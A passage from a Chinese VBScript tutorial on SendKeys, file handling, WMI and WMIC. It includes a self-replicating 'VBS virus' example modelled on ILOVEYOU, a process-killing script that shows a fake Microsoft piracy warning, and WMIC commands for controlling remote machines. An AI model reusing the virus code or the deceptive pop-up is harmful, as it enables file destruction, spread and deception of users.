wscript.Sleep 200
ws.SendKeys "{TAB}"
ws.SendKeys "*********"
wscript.Sleep 200
ws.SendKeys "{ENTER}"
例五:關機菜單立刻顯身
打開記事本,輸入以下命令,并將其保存為1.vbs:
set WshShell=CreateObject("WScript.Shell")WshShell.SendKeys "^{ESC}u"
雙擊運行它,你會發(fā)現(xiàn)關機菜單立刻出現(xiàn)了。
將"WshShell.SendKeys "^{ESC}u""改為"WshShell.SendKeys "^+{ESC}"",運行一下看看是否打開了任務管理器
Vbs腳本編程簡明教程之九——3
妙用SendKeys自動上網(wǎng)并登陸博客3
將下面的腳本復制到一個文本文件中,并將其文件名命名為:自動登陸.vbs,然后將撥號軟件及本腳本一起復制到程序——啟動項中,就可以實現(xiàn)自動撥號上網(wǎng),并登陸到博客上。
代碼如下:
Set wshshell=CreateObject("wscript.shell")
wshshell.AppActivate "連接 MAE-301U 撥號連接"
wscript.Sleep 20000
wshshell.SendKeys "{enter}"
wshshell.Run "iexplore"
WScript.Sleep 2000
wshshell.AppActivate "hao123網(wǎng)址之家---實用網(wǎng)址,搜索大全,盡在http://www.hao123.com/ - Microsoft Internet Explorer" '引號中的內(nèi)容修改為你的瀏覽器打開后標題欄中的內(nèi)容
wshshell.SendKeys "%d"
wshshell.SendKeys "http://passport.baidu.com/?login"
wshshell.SendKeys "{enter}"
WScript.Sleep 2000
wshshell.SendKeys "此處修改為博客帳號"
wshshell.SendKeys "{tab}"
wshshell.SendKeys "此處修改為博客密碼"
wshshell.SendKeys "{enter}"
'wshshell.SendKeys "%d"
Vbs腳本常用的編輯器當然是notapad,不過這個編輯器的功能當然實在是太弱了一點,其實有很多的專用的腳本編輯器可以大大方便vbs腳本的編寫。我常用的有兩種:
1、VBSEDit漢化版
2、primalscript漢化版,可以對30多種腳本進行編輯
Vbs腳本編程簡明教程之十一
FSO中文件的基本操作
一、文件屬性:
在windows中,文件的屬性一般用數(shù)字來表示:
0代表normal,即普通文件未設置任何屬性。 1代表只讀文件。
2代表隱藏文件。 4代表系統(tǒng)文件。 16代表文件夾或目錄。
32代表存檔文件。 1024代表鏈接或快捷方式。例如:
set fs=wscript.createobject("scripting.filesystemobject") set f=fs.getfile("d:\index.txt") msgbox f.Attributes ‘a(chǎn)ttributes函數(shù)的作用是顯示文件屬性
需要說明的是:msgbox顯示的結(jié)果往往不是上面說明的數(shù)字,而是有關屬性代表數(shù)字的和
二、創(chuàng)建文件:object.createtextfile方法,注意創(chuàng)建前一般需要檢查文件是否存在。
例如:
set fso=wscript.createobject("scripting.filesystemobject")
if fso.fileexists("c:\kk.txt") then
msgbox "文件已存在"
else
set f=fso.createtextfile("c:\kk.txt")
end if
如需要強制覆蓋已存在的文件,則在文件名后加true參數(shù)。
三、復制、移動、刪除文件:使用copyfile方法、movefile方法、deletefile方法。例如:
set fso=wscript.createobject("scripting.filesystemobject")
fso.copyfile "c:\kk.txt","d:\1\kk.txt",true //如上文說述,true代表強制覆蓋
fso.movefile "c:\kk.txt", "d:\" //移動文件
fso.deletefile "c:\kk.txt" //刪除文件
四、文件的讀寫:
1、打開文件:使用opentextfile方法如:set ts=fso.opentextfile("c:\kk.txt",1,true) 說明:第二個參數(shù)為訪問模式1為只讀、2寫入、8為追加第三個參數(shù)指定如文件不存在則創(chuàng)建。2、讀取文件:read(x)讀x個字符;readline讀一行;readall全部讀取如:set ffile=fso.opentextfile("c:\kk.txt",1,true)value=ffile.read(20)line=ffile.readlinecontents=ffile.readall
3、常見的指針變量:
atendofstream屬性:當處于文件結(jié)尾的時候這個屬性返回true。一般用循環(huán)檢測是否到達文件末尾。例如:
do while ffile.atendofstream<>true
ffile.read(10)
loop
atendofline屬性:如果已經(jīng)到了行末尾,這個屬性返回true。
Column屬性(當前字符位置的列號)和line屬性(文件當前行號):在打開一個文件后,行和列指針都被設置為1。
4、在文件中跳行:skip(x) 跳過x個字符;skipline 跳過一行
5、在文件中寫入字符:可以用2-寫入和8-追加的方式來寫入
其方法有:write(x)寫入x字符串;writeline(x)寫入x代表的一行
writeblanklines(n) 寫入n個空行
注意:最后一定要使用close方法關閉文件,讀文件后一定要關閉,才能以寫的方式打開。
Vbs腳本編程簡明教程之十二
使用系統(tǒng)對話框
在VBS腳本設計中,如果能使用windows提供的系統(tǒng)對話框,可以簡化腳本的使用難度,使腳本人性化許多,很少有人使用,但VBS并非不能實現(xiàn)這樣的功能,方法當然還是利用COM對象。
1、SAFRCFileDlg.FileSave對象:屬性有:FileName — 指定默認文件名;FileType — 指定文件擴展名;OpenFileSaveDlg — 顯示文件保存框體方法。2、SAFRCFileDlg.FileOpen 對象:FileName — 默認文件名屬性;OpenFileOpenDlg — 顯示打開文件框體方法。3、UserAccounts.CommonDialog對象:Filter — 擴展名屬性("vbs File|*.vbs|All Files|*.*");FilterIndex — 指定InitialDir — 指定默認的文件夾FileName — 指定的文件名Flags — 對話框的類型Showopen方法:
很簡單,ok,讓我們來舉兩個簡單的例子:
例一:保存文件
Set objDialog=CreateObject("SAFRCFileDlg.FileSave")
Set objFSO=CreateObject("Scripting.FileSystemObject")
objDialog.FileName="test"
objDialog.FileType=".txt"
intReturn=objDialog.OpenFileSaveDlg
If intReturn Then
objFSO.CreateTextFile(objDialog.FileName & objdialog.filetype)
Else
Wscript.Quit
End If
注意:1、SAFRCFileDlg.FileSave對象僅僅是提供了一個方便用戶選擇的界面,本身并沒有保存文件的功能,保存文件還需要使用FSO對象來完成。2、用FileType屬性來指定默認的文件類型。3、在調(diào)用OpenFileSaveDlg方法時,最好把返回值保存到一變量中,用它可以判斷用戶按下的是確定還是取消。
例二:.打開文件
set objFile=CreateObject("SAFRCFileDlg.FileOpen")
intRet=objFile.OpenFileOpenDlg
if intret then
msgbox "文件打開成功!文件名為:" & objFile.filename
else
wscript.quit
end if
例三:比較復雜的打開文件對話框
Set objDialog=CreateObject("UserAccounts.CommonDialog")
objDialog.Filter="vbs File|*.vbs"
objDialog.InitialDir="c:\"
tfile=objDialog.ShowOpen
if tfile then
strLoadFile=objDialog.FileName
msgbox strLoadFile
else
wscript.quit
end if
說明:在腳本中加入 objDialog.Flags=&H020 看看會出現(xiàn)什么結(jié)果
Vbs腳本編程簡明教程之十三——1
WMI基礎之一
WMI即Windows 管理規(guī)范,是用戶管理本地和遠程計算機的一種模型。通過它可以訪問、配置、管理和監(jiān)視幾乎所有的 Windows 資源。WMI的語法十分簡單,基本上常見的命名空間、對象等用幾乎一模一樣。它對應的是Windows里的WMI服務(winmgmt)。
一、WMI的起源
幾年前,幾家資深的計算機公司由于系統(tǒng)管理領域缺少標準,委托DMTF啟動了CIM(通用信息模型)項目,理想的CIM是一種不受限制于任何特定實現(xiàn)環(huán)境的管理工具。WMI是CIM的微軟實現(xiàn),它有很多類是從CIM中派生出來的。
二、WMI的命名空間
那么命名空間是做什么作用的呢?我簡單這樣說,在同一段代碼中,如果有兩個變量或函數(shù)的名字完全相同,就會出現(xiàn)沖突。命名空間就是為解決變量、函數(shù)的命名沖突而服務的。解決的辦法就是將你的變量定義在一個不同名字的命名空間中。就好像財政局有個張三,公安局也有個張三,但我們清楚,就是因為他們分屬不同的單位。有些地方可能不太準確,但大致意思就是這樣了。
WMI的命名空間創(chuàng)建了一個層次結(jié)構,有點類似于我們的目錄文件結(jié)構。
1、 root-作為所有其他名字的占位符;2、 root\default-與注冊表操作有關的類;3、 root\security-與系統(tǒng)安全有關的類;4、 root\cimv2-從CIM派生的類,代表我們最常用的工作環(huán)境。
三、WMI的對象路徑
WMI的對象路徑用來在CIM庫中定位類和它的事例,對象路徑用兩個反斜杠\開頭,第一個元素是目標計算機的名字,第二個元素是相應的WMI命名空間,第三個元素是相應的類名,并用 : 將它與命名空間分隔開來。例如:\..\root\cimv2:win32_service
其中那個 . 代表是本地系統(tǒng)。
四、WMI的查詢語言——WQL僅僅是ANSI SQL的一個子集,只能用于數(shù)據(jù)的提取。
數(shù)據(jù)、事件查詢的基本語法為:
Select pro1 , pro2 , pro3 from myclass(myclassevent)
例如:Select name , path from Win32_share 說明:列出所有共享的名稱和路徑
也可以使用通配符 * ,例如:Select * from Win32_share
關鍵字Where 用于限定查詢的范圍。
例如:Select * from Win32_share where name="Admin"
五、WMI腳本中使用的三個步驟
步驟 1:連接到 WMI 服務
在任何 WMI 腳本中,第一個步驟都是建立一個到目標計算機上的 Windows 管理服務的連接。方法是調(diào)用 VBScript 的 Getobject 函數(shù)并將 WMI 腳本庫的名字對象的名稱(即"winmgmts:",后跟目標計算機的名稱)傳遞到 Getobject,并返回一個對象的引用,此時,您就可以調(diào)用其提供的方法如:InstancesOf,正如方法名所示,InstancesOf 返回由資源的類名標識的托管資源的所有實例。
步驟 2:檢索 WMI 托管資源的實例
一般采用WQL來實現(xiàn)。
步驟 3:顯示 WMI 托管資源的屬性
最后一個步驟是枚舉 檢索得到集合的內(nèi)容。一般采用
For each enum in myclass
……
Next 結(jié)構來實現(xiàn)。
六、WMI 測試器 (wbemtest.exe)驗證腳本執(zhí)行結(jié)果
現(xiàn)在,您對可用于瀏覽和查看 CIM 的工具已經(jīng)有了一些認識,讓我們使用 WMI 測試器 (wbemtest.exe) 來檢查 Win32_Process 類定義,以便從在您的本地計算機上運行的進程檢索一些屬性。
1.打開一個命令提示,鍵入 C:\>wbemtest.exe,按下 Enter 來開始 WMI 測試器工具。請注意,大部分按鈕在主 WMI 測試器窗口上是被禁用的,這說明此時您沒有連接到 WMI。
2.單擊 "連接"按鈕 連接到本地或遠程計算機上的 WMI 服務。顯示"連接"對話框,它提供一個標記為 名稱空間 的文本輸入?yún)^(qū)域,該區(qū)域默認值為 root\default。將 名稱空間 區(qū)域的值更改為 root\cimv2,單擊"連接"對話框的 連接 按鈕返回到主 WMI 測試器窗口。
3.主窗口中左上角的命名空間標識符應該顯示為 root\cimv2。請注意,所有的按鈕現(xiàn)在都已啟用,這說明在當前憑據(jù)環(huán)境下,您已經(jīng)成功連接到本地主機上的 WMI。單擊 枚舉類別 打開"超類信息"對話框。
4.在"超類信息"對話框中,不要填寫 輸入超類別名稱 區(qū)域,單擊 遞歸 選項,單擊 確定 以枚舉 root\cimv2 名稱空間中定義的所有 CIM 類。
請注意,列于"查詢結(jié)果"對話框頂部的類是以兩個下劃線為開頭的。這些是系統(tǒng)類。系統(tǒng)類是預定義的 CIM 類,支持內(nèi)部 WMI 配置與操作,例如提供程序注冊、命名空間安全性及事件通知等。現(xiàn)在,忽略系統(tǒng)類,向下滾動"查詢結(jié)果"對話框直至看到以 CIM_ 開頭的類。名稱以 CIM_ 開頭的類是由 DMTF 維護的核心與公共基類。繼續(xù)向下滾動直至到達以 Win32_ 開頭的類。 名稱以 Win32_ 開頭的類是 Microsoft 擴展類,表示 Windows 特定的托管資源。如果這是您第一次檢查 root\cimv2 命名空間,您可能希望熟悉root\cimv2 命名空間中的類的完整集合,尤其是有 Win32_ 前綴的類。
5.向下滾動"查詢結(jié)果"對話框直至到達 Win32_Process 類,雙擊該類名打開 Win32_Process 對話框的對象編輯器。
6."對象編輯器"對話框顯示被選定類的定義和實現(xiàn)的詳細信息(屬性和方法)。選擇 Hide System Properties 復選框隱藏系統(tǒng)屬性。剩余的 Win32_Process 屬性表示您可以從在本地或遠程計算機上運行的進程檢索的信息。
運行如下代碼:
strComputer="."
Set wbemServices=Getobject("winmgmts:\\" & strComputer)
Set wbemObjectSet=wbemServices.InstancesOf("Win32_Process")
For Each wbemObject In wbemObjectSet
WScript.Echo "Name: " & wbemObject.Name & vbCrLf & _
" Handle: " & wbemObject.Handle & vbCrLf & _
" Process ID: " & wbemObject.ProcessID
Next
7.在運行腳本之后,您可以用 WIMI 測試器驗證腳本的結(jié)果。在 Win32_Process 對話框的對象編輯器中,單擊 Instances。產(chǎn)生的查詢結(jié)果對話框列出在計算機上運行的進程的實例。雙擊一個指定的進程實例,查看該實例的詳細信息。
Vbs腳本編程簡明教程之十三——2
WMI基礎之二—阻止客人運行你不想運行的程序
很多人都有這樣的經(jīng)驗,剛剛裝好的系統(tǒng),讓人運行了一些你不想他運行的程序,比如說QQ,又是聊天,又是下載表情,不過一會,流氓插件、病毒、木馬已經(jīng)盤踞了你的計算機,常常是忍痛將這個程序卸載,可是不知情的人很自覺的下載安裝,使整個系統(tǒng)無法正常運行。
其實用vbs和wmi結(jié)合起來,使你的計算機上有相應的程序安裝,別人又無法運行起來太容易了,現(xiàn)在給出代碼:
On Error Resume Next '忽略所有的錯誤
Dim bag,pipe,honker,good
Do
good="." '定義為本地計算機
set bag=getobject("winmgmts:\\"& good &"\root\cimv2") 'l連接到cimv2命名空間
set pipe=bag.execquery("select * from win32_process where name='qq.exe' or name='qqgame.exe' or name='winmine.exe'") '看,這是我的計算機上不允許運行的程序,qq、qqgame、winmine(掃雷)如果你還有其他的程序不允許運行,很簡單,在其中添加 or name='你不允許運行的程序名'
for each i in pipe
i.terminate()
msgbox "發(fā)現(xiàn)盜版系統(tǒng),現(xiàn)已進行功能限制!" & vbcrlf & "請使用正版軟件!",,"微軟提示" '此行其實可有可無,有這行只是為了免去懷疑
next
wscript.sleep 60000 '每1分鐘檢測一次
loop
那么如果我自己想運行這些程序該怎么辦呢,很簡單,Ctrl+Alt+Del三個鍵齊按,打開windows任務管理器,在進程中結(jié)束Wscript.exe和wmiprvse.exe進程的運行就可以了
Vbs腳本編程簡明教程之十四
使用dictionary對象
VBS中存在一個特殊的對象-dictionnary,是一個集合對象。一般情況霞,我把這個特殊的集合想象為數(shù)組,可以使用其中內(nèi)建的函數(shù)完成存儲和操縱數(shù)據(jù)等基本任務,無須擔心數(shù)據(jù)是在哪些行列,而是使用唯一的鍵進行訪問或者是一個只能運行在內(nèi)存中的數(shù)據(jù)庫,并只有兩個字段分別是:key和item,在使用中,字段key是索引字段。
set sdict=CreateObject("Scripting.Dictionary")
sdict.add "a","apple"
sdict.add "b","banana"
sdict.add "c","copy"
for each key in sdict.keys
msgbox "鍵名" & key & "是" & "=" & sdict (key)
next
sdict.removeall
這個腳本很簡單,就是定義了一個 dictionary 對象的實例sdict,并加入了三條數(shù)據(jù),然后對每一條數(shù)據(jù)進行了枚舉,最后,將對象的實例清空。
Dictionary 對象的成員概要
屬性和說明
CompareMode 設定或返回鍵的字符串比較模式Count 只讀。返回 Dictionary 里的鍵/條目對的數(shù)量Item(key) 設定或返回指定的鍵的條目值Key(key) 設定鍵值
方法和說明
Add(key,item) 增加鍵/條目對到 DictionaryExists(key) 如果指定的鍵存在,返回 True,否則返回 FalseItems() 返回一個包含 Dictionary 對象中所有條目的數(shù)組Keys() 返回一個包含 Dictionary 對象中所有鍵的數(shù)組Remove(key) 刪除一個指定的鍵/條目對RemoveAll() 刪除全部鍵/條目對Vbs腳本編程簡明教程之十五——1VBS內(nèi)置函數(shù)之一Abs 函數(shù):返回數(shù)的絕對值。 Array 函數(shù):返回含有數(shù)組的變體。 Asc 函數(shù):返回字符串首字母的 ANSI 字符碼。 Atn 函數(shù):返回數(shù)值的反正切。 CBool 函數(shù):返回已被轉(zhuǎn)換為 Boolean 子類型的變體的表達式。 CByte 函數(shù):返回已被轉(zhuǎn)換為字節(jié)子類型的變體的表達式。 CCur 函數(shù):返回已被轉(zhuǎn)換為貨幣子類型的變體的表達式。 CDate 函數(shù):返回已被轉(zhuǎn)換為日期子類型的變體的表達式。 CDbl 函數(shù):返回已被轉(zhuǎn)換為雙精度子類型的變體的表達式。 Chr 函數(shù):返回與指定的 ANSI 字符碼相關的字符。 CInt 函數(shù):返回已被轉(zhuǎn)換為整形子類型的變體的表達式。 CLng 函數(shù);返回已被轉(zhuǎn)換為Long子類型的變體的表達式。 Cos 函數(shù):返回角度的余弦。 CreateObject 函數(shù):創(chuàng)建并返回對"自動"對象的引用。 CSng 函數(shù):返回已被轉(zhuǎn)換為單精度子類型的變體的表達式。 CStr 函數(shù):返回已被轉(zhuǎn)換為字符串子類型的變體的表達式。 Date 函數(shù):返回當前系統(tǒng)日期。 DateAdd 函數(shù):返回的日期已經(jīng)加上了指定的時間間隔。 DateDiff 函數(shù):返回兩個日期之間的間隔。 DatePart 函數(shù):返回給定日期的指定部分。 DateSerial 函數(shù):返回指定年月日的日期子類型的變體。 Datevalue 函數(shù):返回日期子類型的變體。 Day 函數(shù):返回日期,取值范圍為 1 至 31。 Eval 函數(shù):計算表達式并返回結(jié)果。 Exp 函數(shù):返回 e (自然對數(shù)的底) 的多少次方。 Filter 函數(shù):根據(jù)指定的篩選條件,返回含有字符串數(shù)組子集的、下限為 0 的數(shù)組。 Fix 函數(shù):返回數(shù)的整數(shù)部分。 FormatCurrency 函數(shù):返回的表達式為貨幣值格式,其貨幣符號采用系統(tǒng)控制面板中定義的。 FormatDateTime 函數(shù):返回的表達式為日期和時間格式。 FormatNumber 函數(shù):返回的表達式為數(shù)字格式。 FormatPercent 函數(shù):返回的表達式為百分數(shù)(乘以 100)格式,后面有 % 符號。 GetObject 函數(shù):返回從文件對"自動"對象的引用。 GetRef 函數(shù):返回對能夠綁定到一事件的過程的引用。 Hex 函數(shù):返回一字符串,代表一個數(shù)的十六進制值。 Hour 函數(shù):返回表示鐘點的數(shù)字,取值范圍為 0 至 23。 InputBox 函數(shù):在對話框中顯式一提示,等待用戶輸入文本或單擊按鈕,并返回文本框的內(nèi)容。 InStr 函數(shù):返回一個字符串在另一個字符串中首次出現(xiàn)的位置。 InStrRev 函數(shù);返回一個字符串在另一個字符串中出現(xiàn)的位置,但是從字符串的尾部算起。VBS內(nèi)置函數(shù)之二Int 函數(shù):返回數(shù)的整數(shù)部分。 IsArray 函數(shù):返回 Boolean 值,反映變量是否為數(shù)組。 IsDate 函數(shù):返回 Boolean 值,反映表達式能否轉(zhuǎn)換為日期。 IsEmpty 函數(shù):返回 Boolean 值,反映變量是否已被初始化。 IsNull 函數(shù):返回 Boolean 值,反映表達式是否含有無效數(shù)據(jù)(Null)。 IsNumeric 函數(shù):返回 Boolean 值,反映表達式能否轉(zhuǎn)換為數(shù)字。 IsObject 函數(shù):返回 Boolean 值,反映表達式是否引用了有效的"自動"對象。 Join 函數(shù):返回通過連接許多含有數(shù)組的子串而創(chuàng)建的字符串。 LBound 函數(shù);返回指定維數(shù)數(shù)組的最小有效下標。 LCase 函數(shù):返回的字符串已被轉(zhuǎn)換為小寫字母。 Left 函數(shù):返回字符串最左邊的指定數(shù)量的字符。 Len 函數(shù):返回字符串中的字符數(shù)或存儲變量所需的字節(jié)數(shù)。 LoadPicture 函數(shù):返回圖片對象。只用于 32 位平臺。 Log 函數(shù):返回數(shù)的自然對數(shù)。 LTrim 函數(shù);返回去掉前導空格的字符串。 Mid 函數(shù):從字符串中返回指定數(shù)量的字符。 Minute 函數(shù):返回分鐘數(shù),取值范圍為 0 至 59。 Month 函數(shù):返回表示月份的數(shù),取值范圍為 1 至 12。 MonthName 函數(shù):返回表示月份的字符串。 MsgBox 函數(shù):在對話框中顯示消息,等待用戶單擊按鈕,并返回表示用戶所擊按鈕的數(shù)值。 Now 函數(shù):返回計算機的當前系統(tǒng)日期和時間。 Oct 函數(shù):返回表示該數(shù)八進制數(shù)值的字符串。 Replace 函數(shù):返回一字符串,其中指定的子串已被另一個子串替換了規(guī)定的次數(shù)。 RGB 函數(shù):返回代表 RGB 顏色值的數(shù)字。 Right 函數(shù):返回字符串最右邊的指定數(shù)量的字符。 Rnd 函數(shù):返回隨機數(shù)。 Round 函數(shù):返回指定位數(shù)、四舍五入的數(shù)。 RTrim 函數(shù):返回去掉尾部空格的字符串副本。 ScriptEngine 函數(shù):返回反映使用中的腳本語言的字符串。 ScriptEngineBuildVersion 函數(shù):返回使用中的腳本引擎的編譯版本號。 ScriptEngineMajorVersion 函數(shù):返回使用中的腳本引擎的主版本號。 ScriptEngineMinorVersion 函數(shù):返回使用中的腳本引擎的次版本號。 Second 函數(shù):返回秒數(shù),取值范圍為 0 至 59。VBS內(nèi)置函數(shù)之三Sgn 函數(shù):返回反映數(shù)的符號的整數(shù)。Sin 函數(shù):返回角度的正弦值。Space 函數(shù):返回由指定數(shù)量的空格組成的字符串。Split 函數(shù):返回下限為 0 的、由指定數(shù)量的子串組成的一維數(shù)組。Sqr 函數(shù):返回數(shù)的平方根。 StrComp 函數(shù):返回反映字符串比較結(jié)果的數(shù)值。String 函數(shù):返回指定長度的重復字符串。StrReverse 函數(shù):返回一字符串,其中字符的順序與指定的字符串中的順序相反。Tan 函數(shù):返回角度的正切值。Time 函數(shù):返回表示當前系統(tǒng)時間的"日期"子類型的"變體"。Timer 函數(shù):返回時經(jīng)子夜 12:00 AM 后的秒數(shù)。TimeSerial 函數(shù):返回含有指定時分秒時間的日期子類型的變體。Timevalue 函數(shù):返回含有時間的日期子類型的變體。Trim 函數(shù):返回去掉前導空格或尾部空格的字符串副本。TypeName 函數(shù):返回一字符串,它提供了關于變量的變體子類型信息。UBound 函數(shù):返回指定維數(shù)數(shù)組的最大有效下標。UCase 函數(shù):返回的字符串已經(jīng)被轉(zhuǎn)換為大寫字母。VarType 函數(shù):返回標識變體子類型的數(shù)值。Weekday 函數(shù):返回表示星期幾的數(shù)值。WeekdayName 函數(shù):返回表示星期幾的字符串。Year 函數(shù):返回表示年份的數(shù)值。vbs病毒的簡單例子源代碼解析
說明:作者對某些代碼進行了修改。該文件是一個完整的程序。該文件執(zhí)行之后,會尋找硬盤上所有滿足條件的文件,對其進行強制性覆蓋(滿足條件的文件數(shù)據(jù)將全部丟失)、并再創(chuàng)建一個相同文件名但后帶.vbs的文件。因此,請注意設立好破壞測試條件,千萬不要對他人進行測試,否則,一切后果自負。
dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall '讀取病毒體,以備復制到文件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '檢查磁盤類型
wscript.echo d '彈出窗口,顯示找到盤符
scan(d)
end if
next
lsfile=wscript.scriptfullname '該腳本程序路徑
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) '病毒運行后自我刪除(本人自加,愛蟲病毒本身沒有該代碼)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '獲取文件后綴
ext=lcase(ext) '后綴名轉(zhuǎn)換成小寫字母
if ext="mp5" then '如果后綴名是mp5,當然不存在這種文件,這里可以自己修改,但是注意。請自己建立相應后綴名的文件,最好是非正常后綴名
set ap=fso.opentextfile(file.path,2,true)
' ap.write vbscopy '覆蓋文件,慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs") '創(chuàng)建另外一個病毒文件
' file.delete(true) '刪除原來文件
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目錄
scan(subfolder)
next
end sub
Vbs腳本編程簡明教程補充讀物-初窺WMI
今天,我將給大家介紹個朋友,它就是Microsoft Windows Management Instrumentation (WMI)。中文名字叫Windows管理規(guī)范。從Windows 2000開始,WMI(Windows 管理規(guī)范)就內(nèi)置于操作系統(tǒng)中,并且成為了Windows系統(tǒng)管理的重要組成部分。所以大家很容易就能見到它的,因為我們至少也應該是個Windows 2000的使用者了。下面我將詳細介紹它的每個細節(jié),讓你從不認識它到喜歡上它。
WMI能做什么?
WMI不僅可以獲取想要的計算機數(shù)據(jù),而且還可以用于遠程控制。遠程控制計算機可是大家都喜歡的東西。很多遠程監(jiān)視控制類軟件通常的做法是:在遠程計算機上運行服務端后臺程序,在本地計算機上運行一個客戶器端控制程序,通過這二個程序的勾結(jié)來實現(xiàn)對計算機的遠程控制。這種作法的缺點是十分明顯的,當服務端程序關了,這種遠程監(jiān)控就無法實現(xiàn)了,因為沒有內(nèi)線了。而WMI實現(xiàn)的遠程監(jiān)視和控制完全不需要另外裝什么服務端的東西,系統(tǒng)默認就將WMI服務給開了。具體說來,WMI的本領如下:
1.獲取本地和遠程計算機的硬件軟件信息。2.監(jiān)視本地和遠程計算機的軟件和服務等運行狀況。3.控制本地和遠程計算機的軟件和服務運行。4.高級應用。
如何訪問WMI?
當我們知道WMI的某些本領后,我們已經(jīng)很想知道如何認識他并利用他了。利用WMI有許多途徑,簡單說來有三種了:
1.通過微軟給我們提供的各種工具來實現(xiàn)普通查詢和操作。主要包括命令提示符下面的WMIC,還有就是微軟給我們提供的WMI TOOL,大家可以到微軟的網(wǎng)站上免費下載,當然我也可以給大家免費提供。
2.通過自己編寫腳本來實現(xiàn)更靈活操作。要想真正靈活實用,對WSH腳本的熟悉是必須的,當然如果你不熟悉也沒有關系,稍后我會給大家詳細解釋的。
3. 通過編寫我們自己的程序來訪問并操作它。什么語言都行。如果用.NET類程序要簡單些了,如果用VC等要復雜些了,起碼我是這么認為的。
4.還有個訪問它的方法,就是到它的一個巢穴。在C:\WINDOWS\system32\wbem目錄中的東西都和它有密切聯(lián)系,有日志和各種工具,在里面你可以找到很多答案的。不過這些東西一般都不適合我們新手玩了,感覺有點嚇人。
我們今天的任務?
今天我們的任務有五個:
任務一:利用WMIC列出遠程計算機上的所有進程。任務二:利用WMIC關閉本地進程。任務三:通過WMIC把遠程主機的進程信息保存在一個網(wǎng)頁中任務四:利用腳本實時監(jiān)視對方進程任務五:利用腳本給對方開放共享
查看和監(jiān)視進程,還要把進程給殺掉,最后還要給對方開個共享,我們這位朋友快把壞事做盡了。明白了我們的任務,我們就可以上路了。這次我們將主要借助WMIC和腳本來實現(xiàn)我們的任務,所以我們將主要分為兩大部分來講解。在五個任務的實戰(zhàn)中我們將更加深入地理解它,沒有基礎沒有關系,我將盡力去解釋所有的所謂的基礎,讓大家能很輕松地和這位朋友交流。
第一部分:利用WMIC來認識WMI
WMIC是Windows Management Instrumentation Commandline的簡稱,WMIC擴展WMI,提供了從命令行接口和批命令腳本執(zhí)行系統(tǒng)管理的支持。為WMI名稱空間提供了一個強大的、友好的命令行接口。有了WMIC,WMI就顯的平易近人了。
執(zhí)行"WMIC"命令將啟動WMIC命令行環(huán)境。第一次執(zhí)行WMIC命令時,Windows首先要安裝WMIC,然后顯示出WMIC的命令行提示符。在WMIC命令行提示符上,命令將以交互的方式執(zhí)行。如果你不知道該如何和它交互,請敲個"/?",細細看完全部的說明,你就知道了。WMIC也可以按照非交互的模式運行。如果要執(zhí)行某個單步的任務,或者運行批命令中的一系列WMIC命令,非交互模式就很有用。要使用非交互模式,只要在同一個命令行上啟動WMIC并輸入要執(zhí)行的命令就可以了。
1.任務一:利用WMIC列出遠程計算機上的所有進程
這是一個實現(xiàn)起來很簡單的任務,和你用一個DOS命令一樣簡單,因為我們要循序漸進嘛,所以安排了這么一個熱身任務。在命令提示符下敲入下面的命令,我們將看到。
WMIC /node:192.168.1.2 /user:net process
解說:
1)上面命令中的NODE和USER是全局開關。如果你不愿意另外輸一次密碼,你也可以用PASSWORD開關,后面寫上密碼就可以了(WMIC /node:192.168.1.2 /user:net /password:password process)。千萬要注意,這里的用戶名和密碼都必須是管理員級別的,其它的無效。WMIC提供了大量的全局開關、別名、動詞、命令和豐富的命令行幫助增強用戶接口。全局開關是用來配置整個WMIC會話的選項。
2)Process是個別名,執(zhí)行了一個Win32_process類的WQL查詢,至于說是WMI的類是什么東西,感興趣的就自己找資料多多了解,如果你很懶的話,就等我有時間給你開課講解。別名是用戶和WMI名稱空間一個簡化語法的中間層。當你指定一個別名時,動詞(Verb)表示要執(zhí)行的動作。
3)如果你愿意,你可以在該后面加上個動詞等,比如 LIST FULL等(如:WMIC /node:192.168.1.2 /user:net /password:password process),這樣你就看得更清楚了。
小提示:安裝了WMIC的機器可以連接到任何一臺安裝了WMI的機器,被連接的機器不需要安裝WMIC。
2.任務二:利用WMIC關閉本地進程
執(zhí)行下面的命令將關閉正在運行的QQ。我比較膽小,所以不敢關別人的QQ,只能拿我的QQ試驗了,如果你的智商還夠用的話,膽子比較大的話,你很快就會去關別人的了。
WMIC
process where name="qq.exe" call terminate
解說:
1)這次我們是用交互式的方法來執(zhí)行任務,具體界面我就不多說了,圖上畫的比我說的好多了。
2)Call也是個動詞,這個動詞可是厲害了,控制類的沒有不用它的,它就是可以調(diào)用各種類的各種方法的大將。這里我們調(diào)用了terminate方法。從字面上你就可以看出是惡狠狠的。
3)Where能夠讓你查詢和篩選。在超級多的實例中找到你想要的。實例就是指每個類的具體實現(xiàn)了。前面的例子中看到的各個進程都分別算是WIN32_PROCESS中的一個實例。
3.任務三:通過WMIC把遠程主機的進程信息保存在一個網(wǎng)頁中
這個任務和任務一中的大致相同,是任務一的加強。在任務一中信息以文本的形式顯示出來了。其實除了文本形式的輸出之外,WMIC還能夠以其他形式返回命令執(zhí)行結(jié)果,例如XML、HTML或者CSV(逗號分隔的文本文件),如圖3所示。我們可以敲入下面的命令:
wmic /output:C:.html /node:192.168.1.2 /user:net process list full /format:hform.xsl
輸入密碼 :******
解釋:
1)全局開關OUTPUT指明將這些信息保存在什么地方。
2)全局開關FORMAT指明了用什么樣的格式,至于說有那些格式可以用,你可以參看C:\WINDOWS\system32\wbem目錄中的*.xsl文件,你甚至不用管它們從哪里來的,用就是了。挨著看看,一定可以找到你喜歡的。
第二部分:利用腳本來認識WMI
命令提示符的工具確實好用,但是卻顯示不出我們是高手,高手都是能利用程序來實現(xiàn)目的的。下面我們就開始用腳本來實現(xiàn)我們的任務,功能將更加強大,操作將更加靈活。
無論腳本還是真正意義上的程序,要檢索 WMI 托管資源信息進而查詢并利用WMI,都需要遵循以下三個步驟的。
1.連接到 WMI 服務。建立一個到目標計算機上的 Windows 管理服務的連接。2.檢索 WMI 托管資源的實例。主要取決于要執(zhí)行的任務。3.顯示W(wǎng)MI 某實例屬性和調(diào)用其方法。
1.任務四:利用腳本實時監(jiān)視對方進程
